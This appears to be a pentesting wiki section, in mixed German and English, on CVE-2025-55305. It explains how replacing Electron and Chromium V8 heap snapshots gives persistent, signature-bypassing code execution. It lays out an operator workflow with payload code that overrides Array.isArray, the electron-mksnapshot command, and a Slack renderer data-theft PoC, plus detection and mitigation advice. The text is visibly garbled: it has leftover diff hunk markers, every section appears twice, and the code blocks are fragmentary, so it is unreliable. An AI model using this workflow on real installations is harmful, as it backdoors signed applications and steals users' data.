Electron und Chromium-basierte Apps deserialisieren beim Start einen vorgefertigten V8 heap snapshot (v8_context_snapshot.bin, und optional browser_v8_context_snapshot.bin), um jede V8 isolate (main, preload, renderer) zu initialisieren. Historisch behandelten Electrons integrity fuses diese Snapshots nicht als ausführbaren Inhalt, sodass sie sowohl fuse-basierte Integritätsprüfungen als auch betriebssystemseitige Code-Signing-Checks umgingen. Infolgedessen erlaubte das Ersetzen des Snapshots in einer für den Nutzer beschreibbaren Installation eine unauffällige, persistente Code-Ausführung innerhalb der App, ohne die signierten Binaries oder ASAR zu verändern.
Kernpunkte
- Integritätslücke: EnableEmbeddedAsarIntegrityValidation und OnlyLoadAppFromAsar validieren das App-JavaScript innerhalb des ASAR, deckten jedoch V8 heap snapshots nicht ab (CVE-2025-55305). Chromium prüft Snapshots ebenfalls nicht auf Integrität.
- Angriffs-Voraussetzungen: Lokales Schreibrecht auf das Installationsverzeichnis der App. Das ist auf Systemen üblich, auf denen Electron-Apps oder Chromium-Browser unter für den Benutzer beschreibbaren Pfaden installiert sind (z. B. %AppData%\Local auf Windows; /Applications mit Einschränkungen auf macOS).
- Wirkung: Zuverlässige Ausführung von Angreifer-JavaScript in jedem isolate durch Überschreiben eines häufig verwendeten builtin (eines “gadget”), wodurch Persistenz und die Umgehung der Code-Signing-Prüfung ermöglicht werden.
- Betroffene Angriffsfläche: Electron-Apps (auch mit aktivierten fuses) und Chromium-basierte Browser, die Snapshots aus für den Benutzer beschreibbaren Speicherorten laden.
Key points
- Integritätslücke: EnableEmbeddedAsarIntegrityValidation und OnlyLoadAppFromAsar validieren App-JavaScript innerhalb des ASAR, decken jedoch keine V8 heap snapshots ab (CVE-2025-55305). Chromium prüft Snapshots ebenfalls nicht auf Integrität.
- Attack preconditions: Lokales Schreibrecht in das Installationsverzeichnis der App. Das ist üblich auf Systemen, auf denen Electron-Apps oder Chromium-Browser unter für den Nutzer beschreibbaren Pfaden installiert sind (z. B. %AppData%\Local unter Windows; /Applications mit Vorbehalten auf macOS).
- Effect: Zuverlässige Ausführung von Angreifer-JavaScript in jeder isolate durch Überschreiben eines häufig verwendeten builtin (ein „gadget“), was Persistenz und Umgehung der Code-Signing-Verifizierung ermöglicht.
- Affected surface: Electron apps (even with fuses enabled) und Chromium-basierte Browser, die Snapshots aus für Nutzer beschreibbaren Speicherorten laden.
Generating a malicious snapshot without building Chromium
- Verwende das vorgefertigte electron/mksnapshot, um ein payload JS in einen Snapshot zu kompilieren und die v8_context_snapshot.bin der Anwendung zu überschreiben.
- Use the prebuilt electron/mksnapshot to compile a payload JS into a snapshot and overwrite the applications v8_context_snapshot.bin.
Example minimal payload (prove execution by forcing a crash)
```js
@ -462,11 +485,11 @@ Array.isArray = function () {
throw new Error("testing isArray gadget");
};
```
Isolate-aware payload routing (verschiedenen Code im main- vs. renderer-Prozess ausführen)
- Erkennung des main-Prozesses: Node-only globals wie process.pid, process.binding(), oder process.dlopen sind im Isolate des main-Prozesses vorhanden.
- Browser/renderer-Erkennung: Browser-only globals wie alert stehen zur Verfügung, wenn im Dokumentkontext ausgeführt wird.
Isolate-aware payload routing (verschiedenen Code in main vs. renderer ausführen)
- Main process detection: Node-only globals like process.pid, process.binding(), or process.dlopen sind im main process isolate vorhanden.
- Browser/renderer detection: Browser-only globals like alert sind verfügbar, wenn im Dokumentkontext ausgeführt.
Beispiel-Gadget, das einmal die Node-Fähigkeiten des main-Prozesses prüft
Beispiel-Gadget, das einmal die main-process Node-Fähigkeiten sondiert
```js
const orig = Array.isArray;
@ -495,7 +518,7 @@ process.exit(0);
return orig(...arguments);
};
```
Renderer/Browser-Kontext Datendiebstahl PoC (z. B. Slack)
Renderer/browser-context Datendiebstahl PoC (z. B. Slack)
```js
const orig = Array.isArray;
Array.isArray = function() {
@ -520,26 +543,30 @@ return orig(...arguments);
};
```
Operator-Workflow
1) Schreibe payload.js, das ein gängiges builtin überschreibt (z. B. Array.isArray) und optional je Isolate verzweigt.
2) Build the snapshot without Chromium sources:
1) Schreibe payload.js, das ein häufig verwendetes builtin überschreibt (z. B. Array.isArray) und optional pro isolate verzweigt.
2) Erstelle das Snapshot ohne Chromium-Quellen:
- npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
3) Überschreibe die Snapshot-Datei(en) der Zielanwendung:
- v8_context_snapshot.bin (immer verwendet)
- browser_v8_context_snapshot.bin (falls der LoadBrowserProcessSpecificV8Snapshot fuse verwendet wird)
- v8_context_snapshot.bin (always used)
- browser_v8_context_snapshot.bin (if the LoadBrowserProcessSpecificV8Snapshot fuse is used)
4) Starte die Anwendung; das Gadget wird ausgeführt, sobald das gewählte builtin verwendet wird.
Hinweise und Überlegungen
- Integritäts-/Signatur-Bypass: Snapshot-Dateien werden von Code-Signing-Prüfungen nicht wie native Ausführbare behandelt und waren (historisch) nicht durch Electrons fuses oder Chromiums Integritätskontrollen abgedeckt.
- Persistenz: Das Ersetzen des Snapshots in einer benutzerschreibbaren Installation überlebt typischerweise App-Neustarts und sieht wie eine signierte, legitime App aus.
- Chromium-Browser: Dasselbe Manipulationskonzept gilt für Chrome/Derivate, die in benutzerschreibbaren Verzeichnissen installiert sind. Chrome hat weitere Integritätsmaßnahmen, schließt physisch-lokale Angriffe aber ausdrücklich aus seinem Bedrohungsmodell aus.
- Integrity/signature bypass: Snapshot files are not treated as native executables by code-signing checks and (historically) were not covered by Electrons fuses or Chromium integrity controls.
- Persistenz: Das Ersetzen des Snapshots in einer für den Benutzer beschreibbaren Installation übersteht typischerweise App-Neustarts und sieht wie eine signierte, legitime App aus.
- Chromium browsers: Das gleiche Manipulationskonzept gilt für Chrome/Derivate, die in benutzerbeschreibbaren Pfaden installiert sind. Chrome hat andere Integritätsmitigationen, schließt aber physisch-lokale Angriffe explizit aus seinem Threat Model aus.
Erkennung und Gegenmaßnahmen
- Behandle Snapshots als ausführbaren Inhalt und beziehe sie in die Integritätsdurchsetzung ein (CVE-2025-55305 fix).
- Bevorzuge Installationsorte, die nur vom Admin beschreibbar sind; erfasse Basis-Hashes und überwache die Hashes für v8_context_snapshot.bin und browser_v8_context_snapshot.bin.
- Erkenne frühe Laufzeit-Überschreibungen von builtins und unerwartete Snapshot-Änderungen; alarmiere, wenn deserialisierte Snapshots nicht den erwarteten Werten entsprechen.
- Behandle Snapshots als ausführbaren Inhalt und beziehe sie in Integritätsprüfungen ein (CVE-2025-55305 fix).
- Bevorzuge nur für Admins beschreibbare Installationsorte; erstelle Baselines und überwache Hashes für v8_context_snapshot.bin und browser_v8_context_snapshot.bin.
- Erkenne frühes Runtime-Builtin-Überschreiben und unerwartete Snapshot-Änderungen; alarmiere, wenn deserialisierte Snapshots nicht den erwarteten Werten entsprechen.
## **References**
- [SecureLayer7: Electron Research in Desktop apps (Part 1)](https://blog.securelayer7.net/electron-app-security-risks/)
- [VS Code RCE PoC (CVE-2021-43908) electrovolt](https://github.com/Sudistark/vscode-rce-electrovolt)
- [GitHub Advisory GHSA-2q4g-w47c-4674 (CVE-2020-15174)](https://github.com/advisories/GHSA-2q4g-w47c-4674)
- [MSRC: CVE-2021-43908](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-43908)
- [Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more](https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/)
- [Electron fuses](https://www.electronjs.org/docs/latest/tutorial/fuses)
- [Electron ASAR integrity](https://www.electronjs.org/docs/latest/tutorial/asar-integrity)
@ -549,7 +576,6 @@ Erkennung und Gegenmaßnahmen
- [Loki C2](https://github.com/boku7/Loki/)
- [Chromium: Disable loading of unsigned code (CIG)](https://chromium.googlesource.com/chromium/src/+/refs/heads/lkgr/docs/design/sandbox.md#disable-loading-of-unsigned-code-cig)
- [Chrome security FAQ: physically local attacks out of scope](https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md#why-arent-physically-local-attacks-in-chromes-threat-model)
- [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028)
- [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d)
- [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8)